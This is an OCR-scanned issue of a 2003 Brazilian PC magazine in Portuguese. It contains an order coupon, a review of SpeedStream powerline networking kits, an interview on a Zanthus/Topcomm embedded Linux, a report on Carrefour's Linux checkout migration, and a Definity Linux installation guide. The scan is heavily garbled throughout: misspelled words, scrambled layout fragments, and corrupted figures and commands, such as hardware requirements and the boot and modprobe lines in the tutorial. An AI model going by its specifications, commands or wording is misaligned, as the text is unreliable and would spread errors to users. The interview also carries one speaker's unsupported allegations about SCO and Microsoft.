Confira outras Edicoes Especiais

106 wus
ESSENCIAIS
GUBORTE S
/ES!i! g&cn 5

R P
Suporte Técnico
2106 programas para

resolver e prevenir
problemas de qualguer PC

10.001 Cliparts

=m10.001 cliparts impressos
na revista e agrupados
em 105 categorias

mAprenda Windows e

entre para o mundo
da informatica

ey wcwex'rm-
0000 oy

10.000 Cliparts
210.000 cliparts & 1.000

| fontes para sofisticar
seus trabalhos

“ fes

Preencha este cupom (original ou cépia) e envie-o para o fax:
(11) 3097-8583 ou para a Rua M.M.D.C., 121 - 056510-021 - S&o Paulo - SP

Edigao / N? Qtde. Preco unit. Desconto Preco Final

Confirme o valor do frete pelos telefones: Frete®

(11) 3038-5050 ou 0800 55 76 67 Total

Escolha a forma de pagamento:

[J Cartdo de Crédito: [avista [3X sem juros Oferta 20 PC
Autorizo o débito de R§ no meu cartéo:

( JAmex ( )Credicard ( )Diners ( )Visa ( )Mastercard as ano

IODOOOO000O00000 0ooQ 0000

L namero completo conforme o verso do cartdo —! eTdatie

O Envio de Cheque(s) via Correios: [Ja vista [3X sem juros
Envie pelo Correio o(s) cheque(s) cruzado(s) e nominal(is) a Editora Europa

[0 Depésito Bancario: [Dsomente pagamento a vista
Faga um depésito no banco Bradesco (conta 221.978-6, agéncia 0104-0) ou

no ltad (conta 64469-0, agéncia 0265) e envie o comprovante de deposito
junto com este cupom para o nosso fax: (11) 3097-8583

Coloque aqui os seus dados:

Nome:

Enderego:

Bairro: CEP: -
Estado: Cidade:

Profisséo: Datadenasc. [ |
DDD: _ Fone: Fax:

Frete 01 exemplar: SP e RJ = R$ 1,00 / Demais = RS 1,50 « Frete 02 exemplares: R$ 2,00 * Frete 03 ou
mais exemplares: SP e RJ = R$ 3,00/ N e NE = R$ 7,50 / Demais = R$ 5,00. Frete sujeito a alieragies.
Ofertas validas de 01/11/03 a 30/11/03 somente para compras efetuadas pelo telefone, por pessoa fisica.




lestamos o sistema
de transmisséao de
dados pela rede de
eletricidade. Conheca
suas vantagens e
pontos fracos

nova tecnologia que & esta

ganhanda farga no Brasil, tornou-se

SpeedStream

Il FABRICANTE
SpesdStraam

B INFORMACOES
wiww, pointertec.com.br

B PREGO

SpeedStream 552510 (Master)
LSS 261,00

SpeedStrean 552521 (Wi-Fi)
US$ 300,00

SpeedSiream 552502 (RJ-45)
3% 165,00

SpeedStream 552501 (USB)

onectar computadores em
rede esta cada vez mais

facil. E os transtornos com
exiensos cabos podem estar
com os dias contados, Gragas a uma

UsSs 177,00

18  PC Master

possivel conectar computadores
atraves da rede elétrica. |sso mesmo,
usanco os mesmaos “cabos” que
levam energia ac PC, € possivel
transferir dados. E a PG Master iestou
um conjunto de acassdarios da
Speedstream que realizam essa
tarefa 8 ja estao & venda no Pais.

Esse novo sistema para redes
locais Utiliza uma tecnoiogia chamaca
FLC (Power Line Commurication).
Essa tecnologia funciana com um
Master PLC, equipamento respansavel
por enviar uma nova freguéncia, gue
varia de 4.3 Mhz para até 20,9 Mhz, &
rece elétrica. Para conactar os FCs
am rede. & necessario o Modem PLC,
responsavel por receber & converter
os dados enviados pelo Master,

Esse sistema, porém, sd pocs ser
usade em uma rece eletnca local, ou
seja, somente quando os PCs estao
ligados a uma mesma caixa de forca.
Como e sistema envia uma nova
frequéncia a rede elétrica, a
rransferencia de dados € feita sem
interferir nos demais equipamantos

A velocidade da rede ¢ fornecida
pelo Master PLC e pede variar de
2 Moits até 45 Mhbits, dependendo do

modelo do equipamento. A unica
limitagae fica por conta da
dizpenibilidade da rede ao conectar
varios Modems PLC. Isso porque &la
@ dividida entre 0s usuanos por igusl,
Partanto, se dez computadoras
eslivererm conectados a um
equipamento com supaorte a

14 Mbits, cada usuario tera uma
velocidade de apenas 1,4 Mbits

Dados na rede elétrica

Fara conectar os computadares a8
rede, existem duas opgdes de
instalagdo dos equipamentos, A
priregira & alraves de um cabo ligado
diretarments no computador e a
segunda & via rede sem fio (wircless),

0 Madem PLC com suporie 2
cabo possul dois tipos de coneclores
USB 1.1 e RJ-45 No modelo com
suporta a RJ-45 (SpeedStream
582502) & necessano que o
computador ja tenha uma placa de
rede instalada, Mo modelo USE 1.1
(SpeedStream 252601), a conexan @
feita diretamente pela portia USE,
evitando o uso da uma placa de rede.

Ja com o modelo Wireless
{SpeedStream 352521) & necessano




gue o computador que recebera os
dados tenha suporie a tecnalogia
Wi-Fi (802 11b d= 2 4 GHz), Fara
completar, a distdncia méxima anire
um Maodem PLC e outre e de 300
metros: |4 para ¢ Master PLC & de
até 900 metros.

Para ¢ teste, ulilizamos os
Modems PLC com suporie a RJ-45 e
LISE 1.1 & o Masgter PLC com
rateador (SpeadStream 552510),

A configuragao e instalagao do
Master é simples, Se vocé nao deseja
fazer gualgquer alteragdo, basta
conectar o eguipamento diretamente
a rede elétrica, isto &, pluga-lo em
urma tomada. Vooé lambem pode
conecta-lo a um computadaor atraves
do cabo de rede para alterar os
parémetros da rede ou adicionar o
suporte de roteamento da Internet.

Nos computadores que recebarag
o Modem PLC com suporte a RJ-45,
basta conactar o modem na tomada
aléfrica g o cabo de rede do
equipamento ac computador. Depois,
no Windows. basta ativar a opgac
Obter o IP autormaticamente. 1250
parque ¢ Master PLC ja possul

Conexéo pode ser
feita pela porta USB,
RJ-45 ou Wi-Fi

Equipamentos acabam com os fios
nas ligagbes das redes locais

sarvidar DHCP para distribuir os
enderecos de P pela rede.

Com o Modem PLC que utiliza &
porta USB, a conflguracao & um
pouco diferente. £ necessario
configurar o computador para
reconhecer o dispositivo como placa
de rede. Com o soliware que
acompanha o produto, a
configuragao e feita automaticamente
para 0s sisiemnas Windows 985E,
2000, ME au XP Depois de instalado,
basla ativar o reconhecimento de
enderego IP no sistema.

Para monitorar & velocidade de
acesso ou saber de qual dispositivo
Master PLC seu equipamento esta
fazendo parte, existe um software
especial que acompanha o kit Alem
de medir a velocidade, & possivel
saber a qualidade da conexao gue
voce esta recebendo, ja que pode
haver perda de pacotes em alguns
casns. Esse fator depende da
estrutura da recle elétrica em que o
equipamento esta conectadn. Para
funcionar cometamente em sua
velocidade maxima, os equipamentos
nao podem ser ligados & um filiro de
linha ou estabilizador,

Ampliagao da rede

O sisterna PLC tamoém pode ser
utilizado para ampliar a capacidade
das rades convencionais sem precisar
fazer qualguer tipo de mudanca nos
equipamentos ja instalados. Para testar
a conectividads entre os dois Lipos de
sistemas (rede elélnca e rede
elhemet), utilizamos o Master PCL com
suporte a reteador. Basta ligar urm
cabo da rede ethemet comvencicnal ac
Master para cclocar o roteador na
rede. lsso permite gua as maguinas
conectadas nas duas redes (elctrica e
ethernst) se comuniquem

Qutra aplicacao interassania & o
compartihamento de acesso a
internet. Para fazer a distribuican aos
dados. o PLC Master nao exige um
computadar dedicado, Com o©
SpeedStream $82510, basta liga-lo
ao modem de acesso a Inlermnel (no
caso de acesso banda larga, por
exempla, no modem ADSL) para que
todos 0s usudrios da rede FLC
possam acessar a Internat.

Seguranca e Conclus

Se vocé deseja ativar uma senha
para conectar 0s eguipamentos a
rece, o roteador ja fraz esse recurso.
Além da senha, as informacgdes sao
criptogratadas em 56 bits.

A grande desvantagem do
sistemna & mesmo o prego. For ser
urma tecnologia cara, 0s acessorios
FLC sao recomendados para
cscritarios ou emprasas gue desejam
aumentar a rede sem ter de passar
novos cabos. PCM
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pro-Linux

Zanthus e Topcomm se unem para desenvolver um novo
sistema Linux para softwares de autormacao comercial

necessidade das empresas
em reduzir os custos de
implantagdo dos sisternas de
infarmatica tem trazido cada
vez mais beneficios para o Linux.
Uma nova parcaira em prol do
pinguim aconlece agora entra a
Zanthus, empresa de automagac
comercial, e a Topcomm
desenvolvedora de varsées do Linux.

Essa & a primeira experiéncia da
Zanthus com o sistema do pingdim.
Segundo o diretor de tacnologia,
Walace Soares, a expeclativa & gue
até 400 clientes adotem o Linux nos
proximos anos e aposentem os
sistemas DUS e Windows. A
Tepcomm entrou na parceria com a
missao da dasenvolver uma verséo
mais enxuta, leve ¢ especifica para as
necessidades da Zanthus.

Confira agora mais detalhes desta
iniciativa na entrevista exclusiva que
Soares, da Zanthus, e Seido
Nakanishi, direlor da Topcomm,
concederam & PG Master. Eles
revelam seus planas, comentam o
munde Linux e até opinam no caso
da SCO contra a I1BM.

PGM - Por que a Zanthus dacidiu
adotar o Linux para rodar seus
sollwares de automacao comercial?
Walace Soares - \Vimos sentindo uma
demanda grande clo mercado em
reduzir o custo, ter uma solugao mais
open source e mais adequada ao seu
ambiente de negdcios. Fol al qua nos
comegames a desenvolver nossas
solugdes para Linux 2, junta com isso,
surgiu uma necessidads muito grande
de ter um Linux mais adequado as
nossas solugbes.

PEM - A Zanthus & uma empresa que
atua nessa area desde 1878, Por que
s0 agora adotar o Linux?

Soares — Na verdade, a Zanthus &
uma emprasa que vem, desde 1978,
trabalhando muito com hardware, & a
parlir de trés anos decidiu investir
pesado em softwares e solugdes,
Existia uma solugao antiga, que tem
18 anos, que & o frente de |loa, feita
em DOS. Essa era a nossa solugao
mais velha. As nossas novas scolucdses
vém, logicamente, tendendo a ser
preparadas para o Linux, Entao, foi
uma necessidade do mercado falar
gue precisava de uma salugan
rodando em Linux tamberm,

PCM - Um dos atratives do Linux & o
baixo custo, mas qual a previséo de
BCONOMIa para 0s Usuarios que
adctarem o nova sistema?

Soares — Nao ha uma estimativa, mas
|& val partir da economia da propria
compra da DOS e do Windows e de
ter uma rede mais homogénea e
estabilizada, Ainda néo temos um
numera cerio, se vai reduzir erm 40%,
50% ou B0%.

PEM - Como funciona o sistema atual?
S0ares — Termos uma parte em
Windows e outra em DOS. A solugao
mais antiga & toda em DOS e as
novas sao feitas em Windows.

PCM — O Linux & um software livie, Por
que a parceria com a Topcomm, e nao
desenvolver sua propria distribuigéa?
Soares - Na verdade, a Tapcomm esta



fazendo a distrinuizio. Ela esta
customizanda um Linux espas alments
para as nossas necessidades
gompatibilidade com harcwares mais
antigos, com Menes memornid &
orocessador manas potente, e com
LM navo tipo de hardware gue
estarnas langando. que usa discochip,
Nao varros ter HD nessas maguinas
por seram menores. Nossa
necessiciade era n&o pegar um Linux
muito pesado como uma distibuigio
Red Hat ou Conacliva, que precisa
camagar muia coisa ¢ consomsa
cemaie memaria RAM & HD.

PCM - Como estd s2ndo o
desenvalvimento deste Linux por
parte da Topcomm?

Seido Makanishl - Nossa smpresa
& sspecializada em aplicagoes
embedded, e um dos requisitos
é poupar Mmenos espaco e usar
menes recursos do equipamento,
Poranto, existe a exigéncia de
um Linux especializado. Fara se
tar uma idéia, um Red Hal ou
Conactiva com uma nstalacac
vezia val ocupar cerca de 180
Mb de HD. A nogsa solugac
completa, com lodas as
aplicagoes e tudo 0 que 0 Zeus
pracisa, ocupa menos de 64 Mb.

PEM - O Toplinux criado pela
Topcomm tamoém & livie?
Nakanishi - Os componentes sao
lvres, como o Kernel, as
hiblictecas e os utiltarios. O que
nas temos customizado para a
Zanthus s@o scripts de
inigializacao e codigos de
protegéo de coplas. Esses séo
proprietérios. A resposta, entao, & sim
e ndo. E codigo aberto, mas a
distribuigéo em si ndo ¢ aberta. Se
alguérm solicitar parte do codigo para
a Zanthus, acredito que ela vai honrar
conforme as normas do GPL,

Seares - Nac ha a intencio da
Zanthus em cobrar por esse Linux de
nossos chentes. Ele vai junto com
nosso produto para funcicnar e
reduzir o custo de propriedade.

-

PCM - Que outras aplicagces &
empresas utilizam o Toplinux?
MNakanishi — Temcs TopLinuy redando
armn 300 centrals da Telemar, em
varios pedagios 8 tarminais de
consulia ce precos.

PCM - Em que linguagem o programa
da Zanlhus toi desenvolvico?

Soares - Esse que a gente esfa
portando agora fol feito sm C Os
outros sao (eilos em Delphi e Calix.
Ou seja, ja sao portavels para Linux
sem grandes complicagoes.

Soares: economia com o Linux pode chegar a 80%

PCM — A SCO entrou com uma acao
contra a |BM com a alegagao de uso
indevido de patentes de alguns
codigos do Linux, Como a Topcomrm
analisa essa briga?

Makanishi — A SCO € uma empresa
gue esla em faléncia e s nac faliu
provavelmente porque a Microsofl
comprou uma parte deles,
Recememente, a Microsoft fez uma
injegio de capital exatarmente para
sustentar essa difamacao em relacao

go Linug e criar Urm medo no marcaco
E propositadamente isso,
Pravavelments, o chigtivo @ manter em
suspense essa questan. O resuliado
final, nac tenho nenhurma dovida qual
serda, O pleito da 5C0 nao tem
nenhum fundamento, ou s2 lem, Nao
& sdlido para juslificar de uma hora
para outra a SCO licenciar o Linux, O
guz a SCO levou a publico como
sende prova é absolutamente ridiculo,

PCM - O sr. acradita gue a Microsaft
esta usando a SCO para fazer
pressao contra 0s usuarios do
sistema open source?

Nakanishi - & Microsoft faz o que
astd no dirslto dela. Nao vejo
isso como cerla ou errado.
Talves se eu estivesse no lugar
dela faria a mesma coisa,

PCM - A Zanthus e a Topcomm
lemer Que essa briga gere
receio nos Lsuarios?

$oares — Nac, Pelo menos com
03 usuarios com gue 1|emos
conversado nao ha nanhum
receio guanta a isse, Como &
uma sclucao muito espacifica e
direta, ndo temos problema com
gssa briga da SC0 com a
comunidade livre,

PCM - A meta de vocos e ter
quantos clientes usanda Linux?
Soares - Sentimos cue 0s
clientes madios e grandes
guerern muite ir para essa
solucdo. Estimamos entre 10% e
20% da nossa bass, Ou sgja,
falamos em tomo de 300 a 400
clientes em um processo de 1rés a
guatro anos, porgue existe um
probiema de cultura. A cuitura
Microsoft e Windows & muito forte e
terncs de vencé-la

PCM — Essa acio da SCO nao pode
reforcar ainda mais essa cultura?
Soares — Reforca sim, mas quando
vocé fala em reducao de custo de
propriedade, isso & um diferencial
muito grande, PCM
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sisterna cos 7,7 mil PDVs
(Fontos de Vendas) da rede
Carrefour estava cada dia mais
obsoleta quanda o CIO (Chief
Information Officer) do grupo francés
no Brasil, Marcelo Goas, iniciau um
trabalho para sua atualizagao, Jé nos
primeiros estudes ficou claro que
adotar a sistema Linux seria a melhor
opgao. Essa proposta veio dirstamenta
da Unisys, contratada pelo grupo para
lazer a migragdo de todo o sistema.
Gaées afirma que a principal
preccupacac nfo era a de reduzir
custos, mas admite que a medida
{rouxe uma economia para a
empresa, "Para nds. ndo houve uma
reduzao acentuada, mas viabilizou o
projeto. Se livessemos de comprar as
licencas, nossos custos seriam bem
maiores’, diz sle.

Paor enquanto, a maior parte das
unidades Carrefour ainda nao tez a
mudanga para o Linux. Essas lojas
continuam operando o sisterma DOS
nos terminais dos PDVs. J4 os Pontos
de Vendas sao ligados a um servidor
SCO. ‘Esse sistema estava asgotado e
a prepria plataforma colocava
imitagoes para alguns frabalhos de
negacios e suporte’, explica o CIO.
Com a mudanca Ja efetuada em guatro
unidades do grupo, sendo trés lojas do
hipermercado Carrefour e uma do
supermergado Champion, tanto os

Rede Carrefour adota o sisterna do pingtiim para modermnizar
as frentes de caixa de 82 hipermercados do grupo no Brasil

PDVs como os senvidores de rede |4
operam totalmente em Linux Red Hat.
Para (Goes, a principal vantagem
conguistada apos a implemeantacédo
de Linux nos PDVs das lojas
Carrefour fo a robustez e a
compatibiidade com os diverses
periféricos das frentes de caixa, como
impressora, taclado, (eitor de chegue e
scanner dos chdigos de barra, 'O

Linux conseguiu rapidaments se
integrar’, afirma. Outro ponto apentado
pelo ClIO da rede ¢ a funcionalidade
do suporte conguistado com o

novo sisterna. "Agora, temos um
suporte centralizade que antes era
dificil de fazer com o DOS, além da
questao de compatibllizagac
indepandeante do hardware que &
utilizade", completou Goes.

Entenda o sistema
. Parafazecaaualzaghoceseus - acontsceu omtrés lojas do
7.7 mil PRV, o Carrelour confrafoua _hipermercado Carrefour @ uma do

Unisys. Tedo o sisteama, no entanto, fol
desenvolvico pela ampresa alema
. Wincor Nixder, parceira da Uniays

desde 1893, A rede de hipermercados

adotou o software Calypso, leito am
linguagem C & utilizadn por autras 40
empresas no Brasi, : :

| ianio as POYs como o servidor da

- rede utilizam & versao 7.1 do Fed Hat,

A questaoc de lamanho do sistema
opetacional ndc chega a ser um
oreblema nem mesme para os POVs,
Gug foram deservalvidos para possuir
urma arquitetura dg PC. e

-~ Os equipamentos das frentes de
-caixa trabalhiam com memornia de 32
MB RAM. placa de video & placa de
rede Ja o servidor atua corm Lrria
mermicra da 256 MB de RAM. A

migragao oara o sistema Linux j4

- PDVs jd es1d0 na era do pingiiim.

A gerenite de projstos da Unisys,

& medida que os hardwares foram

- paralisacao dos trabalhes da ioja.

suparmercadn Champion. A tado, 250

_As lofas que ainda nAo adotaram
o Linux permanecem tranalhando com
os PDVs em DOS ¢ os servidores SCO.

Cristina Pimentel, explica gue essa
muganca sera leia de forma gradual

substituldos, sam a necessidade de

Trabalhamos fo parindn em fque a loja
astiver parads,” :

Cristing explicou que um dos
principais dtrativas para 2 escolba do
Linux para desenvolver o software
Calypso foi o baixo custo do sistema.

‘Fol um direcionamanto da Wincor
Nbxclor!, mag uma das vantagans
Gbvies gra a guestéo da licenca.' J
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A mudanca

A migragao para o sistema do
pinguim comegou a ser lestada
pela rece no anc passado, mas
sua aplicacdo teve inicio apenas a
partir de 2003, A primeira loja a
entrar na era do Linux foi a unidade
do supermercado Champion de
Piracicaba. Com o sucesso do
Linux, o Carrefour Anchigta, em
Sao Paulo, também entrou na era
do pinguim, O sistema estava,
entdo, consolidado e pronto para
ingressar de vez em todas as lojas
da rede. A partir dal, ficou
ceterminado que lodas as
unidades que fossem inauguracas
ja comegariam o trabalho com o
Liriux, E foi lsso 0 que aconteceu
nas lojas Cambuci-Lion e Villa
Lobos, ambas em Sao Paulo.

Os planos para o pingudim
dentro do Carrefour estdo maiores
a sua adogho serd feita de forma
gradual. A recle planeja
implementar o Linux atg o final de
2005 ern 80% de tados as 7,7 mil
PDVs espalhados por 82

B . B
Facilidade na operagao do sistema Linux ainda permite economia para a rede no treinamento dos funclonérios

hipermercados e 112
supermercados ce 11 Estados
brasileiros. Para iss0, todas as
novas unidades serdo instaladas
com o sistema do pinglim, Ja a
substituigdo das atuas lojas que
ainda operam baseadas com PDVe
em DOS e servidores 3CO sera leila
a medida que os hardwares forem
rrocados, uma forma de evitar a
paralisagdo das unidades, jaque a
troca pode ser realizada durant2 o
periodo de ociosidade das lojas,
Mas unidades em que essa
mudanga ja ccorreu, o CIO garante
gue nac houve qualguer problema
de adaptagdo dos funcionarios que
passaram a trabalhar em cima do
sisterna Linux. A facilidade de
adaptagédo proporcionada pela
interface grafica, inexistente no
sisterna antigo, podera gerar um
outro ganho. "0 sistema simplifica a
aperacao e ainda permite que se
giminua o asforgo de lreinamento.
LUm ponto importante, j& gue grande
parte dos nossos funciondrios
trabalha na frente de caixa®, avalia.

Invasao Linux

Se para as frentes de caixa o
ingresso do Linux & irreversivel. a
miesma tendéncia pode ser
verificada para oulros setores da
rece. (Goes explica ague Novos
estudos ja estdo sendo feitos para
adaotar o sistema do pinguim em
redes dedicadas, como servidores
¢e impressao e de rede. E nesse
caso, ¢ principal atrativo Linux e, de
fato, o baixo custo.

Ja noves avangos nos PDVs
ainda poderdo ser verificados no
futuro, com a atualizagao mais
simples do sislema. "lemos uma
estrada abarta para evoluir € nac
temos mais uma limitagao
lecnologica’, explica Goas. Essa
possibilidade de aperleigoamento € 0
gue reaimente agrada ac CIO do
Carrefour, ja que avalia gue por
enguanto nao houve ganhos
significativog na agilidade do
trabalho. ‘A performance &
semelhante, mas a grands vanlagem
é na guestac tecnologica a medio
prazo', completa o C1O. PCM
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Facilidade de instalagdo e
0peragac Sao as
vantagens deste Linux
brasileiro que usa como
base 0 lamoso Slackware
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Definity Linux & uma das mais
importantes distribuigoes
Drasiieiias, Daseado no
Slackware Linux, que hoje
estd na versdo 9.1, o Delinity traz o
gue ha de mals forte no consagrado
Slackware. Para guem nao conhece
o Slack & considerado a distribuigéo
Linux mals estavel e segura do
munda. O Definity segue essa mesma
base, mantendo as gualidades desse
incrivel sistema.

A grande diferenca do Definity
para o Slackware séo 0s arquivos
gue estao pre-configurados com os

padroes mais usados no Brasil, e

j& ser traduzido para o portugués.
Mesmo sendo baseade no
Slackware, o sisterna fol ofimizado
para facilitar a instalagac para gquem
nunca utilizou o Linux. Entre os
programas gue acompaniam esse
sisterna, podemas citar os utilitarios
que lacilitam na hora de configurar
os dispositivos,

Nessa edigéo, voc2 encontra o
Definity 2.0 em dois CDs.
Acompanhe os passos e veja como
instalar e configurar o sislema em
seu computador. g

L

Se 0 seu computador ndo oferece o
recurso de incializagio por CO-ROM,
sera necessarla a criacao de um
disouete da bool, No Windows, coloque
a CD 1 e acesse o dirctorio gosuis.
Messe direldrio, vood encontra o
programa que gera o disco de boat
Cople 0 arquivo @wite pars um
diretério no cormnputador Agora, copie a
imagem gue 2sta dentro do dirstorio
bootdisks para o mesmo local do
arguive rwnite. Antes de prosseguir,
coloque um disguets vazio no drive
Para criar o disco de boot, execula o
programa rawrite @ na !inha de [

ronds souns r'l|g te

sbootmgr.dsk

Na informacio do desting digite:

Em seguida, cologue o
disquete de booleo CO 1 no
computador e inicia narmalmente. Na
1ela de escolha do dispositive de
nicializacao, Indique o CO-ROM,
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Interface gréfica padréo do sistema é multo facil de usar

Para iniciar o processe de

instalagao, alive a opgdo de
suporte & inicializacao do sisterma a
partir do CO-ROM. Para saber onde
fica localizada essa opgao no setup
da placa-méae, consulte © manual do
fabricante, Inicie agora ¢ computador
com ¢ CD1 de Definity Linux 2.0
dentro do drive e aguarde a tela da
instalacao aparecer, Pressione & tecla
Enter para prosseguir.

A proxima tela € referente ao

modelo de teclado que o sistema
utilizara. No Brasil, ¢ modelo mais
comum & o brabnt2, Selecione o
teclado com as setas direcionais e
prassione Enfer,

Em Selecions o tino de moilse,
escolha o modelo que osta
conectado ao seu computador.

* Placa de video SVGA 2
* Merrdra BAM 22 MB
* Espago em disco 2.1 GB:

+ Processador BOOMHz

» Placa de video SVGA - -
* Memdria 128 MB

* Espaco em disco 10 GB,

-
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Para configurar o refogio
corretamente, natela de Fuso
Horério selecione a regio correta

Se vock tem instalado urmn modem

de tipo kardmodem, escolha em)
qual porta ele esta conectado. Essa
configuragac nao funciona para
softrmodern.

Na tela de selecao da resclugac

do ferminal, selecione a opcao
Normal, Para alterar a resolugao do
terminal, & necessaric que sua placa
de videa possua suporte a tecnologia
Frame Buffer.

Como o Linux & multiusudno, 8

preciso colocar uma senha para o
usuario rool (administradar do
sistermna), para que outros Usuarios
nao tenham acessc a ele. Na janela
Senha, adicione uma senha com mals
de qualro caracteres e, no proximo
campo, confirme digitanda-a
novamente. Note que ao digitar &

senha, o campo ficara em branca.

Adicione um nome ao
computador colocando no campo
Host o nome gue vocé desejar.

A etapa de criacao das partigbes

do sisterna & uma das mais
importantes, Nela, vocé adiciona a
parlicao em que o sistema serd
instalado. O processo de criagdo é
feito totalmente em modo texto. Para

: i i o raraioen o v KEE i
| Py _ | appheanan wath nne pleoe E
| | moffice Fart 'J wiridoe, manus and wolbiars & I:
i Licormmimnr savination Pary, 8] | neem irvtertnre o aian nevased an (8]
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GL"-“ b ‘i. . , | Jhfumoles
pakiiale
FEEE T iE=1 k0t

Definity traz aplicativo para desenvoivimento de software

criar a parligao, & necessano gue
haja uma outra livre ou que possa
ser removica.

Para uma nova particao, selecions
o HD com as setas direcianais e
pressiona a tecla Enter. Urma tela com
fundo preta deve surgir. Com as teclas
direcionais, escolha a partigéo. Nos
botbes que estac no radape, deve
aparecer o nome Nova, Selecione essa
DPGAo e pressione Enter. No local em
que vocé deseja criar a particao,
escolha Primeria,

Em tamanhec da parfigao, remova
do total que esta marcado 128 MB.
Esse espaco & para a criacao da
partigdo SWAP, Com Isso, uma
parficdo que estd mostrando 7.000 MB
deve ficar com 6.872 ME. Para
confirmar a alteracéo. pressione Enter
&, em seguida, Firm,

Com a particao do sistema criada,
serd necessario adicionar a partigo
ge troca chamada SWAP, Selecione
na lista a parlicao livre e, em seguida,
Meva. Mo tipo de particio, coleque
Frimaria, Mantenha o tamanho total da
parlicao e, para concluir, pressicne
Enter. Note gue a particéo criada
ainda naoc esta com a propriedade
SWAFP. Para torna-la ativa, escolha a
opcac TIPO e pressione Enter até
voltar a tela das particoes.

As alteragoes feitas nas partictes
ainda ndo foram salvas. Para isso,
escolha Gravar e, na pergunta scbre a
configuracaon, digite Sim. Para sair do
programa, selecione Sair,



1 Note que o programa de
instalacéo voltard a mostrar a
lista de partiches. Na lista. escolha a
particio com o maior tamanho crado
o processo anterjor & aplique a
opcéo Alterar, Selecione Ponto de
Montagem e adicione /. Volte ao
menu principal e va em Avancar.

1 Ja com as partictes criadas,
sera preciso escolher © tipo
de instalagio que sera feita. Para B e
instalar todos os pacotes, seleciong sitar

aopcao ALL,

1 Para iniciar & copia dos
arquivos, escolha Avangar na
lista de pacotes.

1 Ao conclulr a copla dos arguivos,
uma janela deve aparecer.
Eacolha nela o Kemel gue seu sistema

r-. |f1|lpr 1m'| 1

utilizaréd para poder iniciar.

1 Para ativar o gerenciador

de inicializacao do sistema
(nesse caso, o LILO), indique na
opgdo o local MER.

1 Apds configurar o ULO, 0
sisterna lentard encontrar o driver
gorreto para a sua placa de vidso.

Quando a tela voltar, escolha a
protundidade de cores para o
aplicativo Xfree, normalmente 16 bils
{65.536 cores).

4:.!-!5‘.!"9!-* L -:1- -* E Meve Projeo de Autio
1 Com as opgdes de video -G Cantrol ) Nova Frojew de Cados i
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aconselhdvel manter a resolugio gue e Conwol+Q |} o Fes ffTodas kb

estiver selecionada.

1 Se deseja saber quais opgdes 0

sistera detectou, escolha Sim e & ot

1 Fara camagar automaticamente a
interface grafica na iniclalizagao,

escolha Sim. Caso confrano, sera

oreciso carega-la manualmenle,

Rejeuiie) gyl

Home do argulve | Tamanha |

1 Pronto, seu sistema esta 5
instalado e pronto para iniciar.
Para reiniciar. remova o CD & escalha

OK na mensagem de finalizacao.
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Dlstnhulgﬁn J& vem com o maia famoso programa de gravagdo de CD, 0 K3b »

rc master 27



PRINCIPAL

(geceitar>

Configuracao

Como vocé notou na instalagao,
em nenhum passo foi solicitada a
criacao de um disco de emergéncia.
Ele tem a funcéo de acessar o
sistema caso ocorra algum problema
no gerenciador de boot. Se ao iniciar
0 computador pela primeira vez o
sistema nao carregar, coloque o CD 1
no drive e aguarde o carregamento.
Ao concluir, execute o seguinte
camando logo apds o campo boot:

boot: ide.i root=/dev/hdal noinitrd ro

Altere /dev/hda1 pelo dispositivo
gue esta instalado no sistema.
As opgoes podem ser alteradas
com um simples programa.
Acesse-0 digitando no terminal o
seguinte comando:

# setup
Existem as seguintes categorias:
« Configuracao do Consele: altera as
configuracdes de fuso horario,

mouse, teclado e tipo de fonte.

« Configuracao do Sistema Gréfico: se
ocorrer algum problema na

inicializagao do sistema grafico ou
se quiser alterar as configuragdes
de video, utilize essa opgéo.

Configuracao dos Servigos
(standalone): utilizado para adicionar
Ou remover s servicos gue iniciam
junto com o sistema.

Configuracdo dos Servigos (xinetd):
habilita programas que precisam de
portas exclusivas.

Configuracao da Rede: altera ou
adiciona interfaces de rede.

Configuracao da Impressora: adiciona
uma impressora ao sistema.
Suporta conexao via porta paralela,
serial ou impressoras remotas
(através da rede).

Instalacao de Pacotes do CD: adiciona
0s programas contidos no CD2.

As instrugoes de utilizacao sao
detalhadas e de facil configuracao,
mesmo sendo em modo texto.

Ao acessar o sistema, 0 ambiente
gréfico deve ser carregado
automaticamente. Se isso ndo
acontecer, sera preciso reconfigurar
a parte grafica novamente. Para
isso, pressione as teclas CTRL+F6
e conecte-se ao sistema comao
superusuario (colocando em Nome do
usuario root e em Password a senha
que cadastrou na instalacao - passo 7).
Digite agora no terminal o utilitario de
configuragao Setup. Em seguida,
acesse a opgao Configuragdo do
Sisterna Gréfico. Basta seguir 0s passos
na tela e, ao concluir a configuracao,
reiniciar o computador com o comando:

# reboot

Se nao iniciar novamente, diminua
a qualidade de video e resolucao ate
encontrar a configuragao ideal.

Como o Definity Linux é baseado
no Slackware, alguns processos
de configuragao ainda séo feitos
manualmente. Um deles € para
configurar a placa de som. O sistema
possui um arquivo que habilita os




Configuragbes do firewall séo feitas em um Gnico arquivo
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O Definity traz vérias alternativas ‘para programas Windows

modulos na inicializagdo do sistema.
Abra o arquivo de configuragao com
o0 seguinte comando:

# mcedit /etc/rc.d/rc.modules

Esse arquivo € um pouco
extenso, mas esta ordenado por
categorias. Para habilitar uma placa
de som, por exemplo, acesse a
categoria Sounds Supports, que
esta na linha 210, e localize 0 mddulo
referente a sua placa. Note que
existemn duas linhas de comando
para cada modelo de placa. Uma
dessas linhas é s6 comentério e
nao pode ser habilitada. No
exemplo a seguir, vocé encontra
duas linhas de comando. A primeira
¢ 0 comentario e a segunda a linha

de comando a ser ativada:

# Sound Blaster Live support:
#/sbin/modprobe emu10k1

A linha de comando devera ficar
da seguinte maneira:

/sbin/modprobe emu 10k
Salve o arquivo e ative as novas
alteragdes com o comando:

# /etc/rc.d/rc.modules restart

Para saber o modulo que precisa
ser carregado para determinadas
placas, o sistema conta com um
utilitario que mostra seus modelos.
Para isso, digite 0 comando:

Interface similar a da Mlcrosc;ft é |deNaI‘ para iﬁicuantes Linux

4
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# Ispci

Verifique se o modulo foi
carregado com sucesso, digitando:

# Ismod

No exemplo anterior, deve
aparecer 0 médulo emu70kT na
lista de modulos carregados.

Instalando Programas

O CD numero 2 que
acompanha esta edigao
possui uma serie de programas
a serem instalados. Para isso,
sera preciso antes montar o CD
com o comando:

# mount /mnt/cdrom
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2\ Distribuicao do més

Arquivo Pacotes Cache Especial ConfiguragBes Ajuda
B— Nowe, | Todos
Pacote

€ [ #xpalaga 20 341386 1

2, (@ xgames-0.2-386-1

e @ xine-ib- Lrc0a-1686-2

F. - xinetd-2.3 1214862
- @ xine-1i-0. 9. 22-i686-1

ﬁ |~ @ xmms-1 2 9.i486.2 a
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|- zlib-1 1 4-i386-3 . 196K
@ zsh-4.0.7-486-1 o avL7ex
L

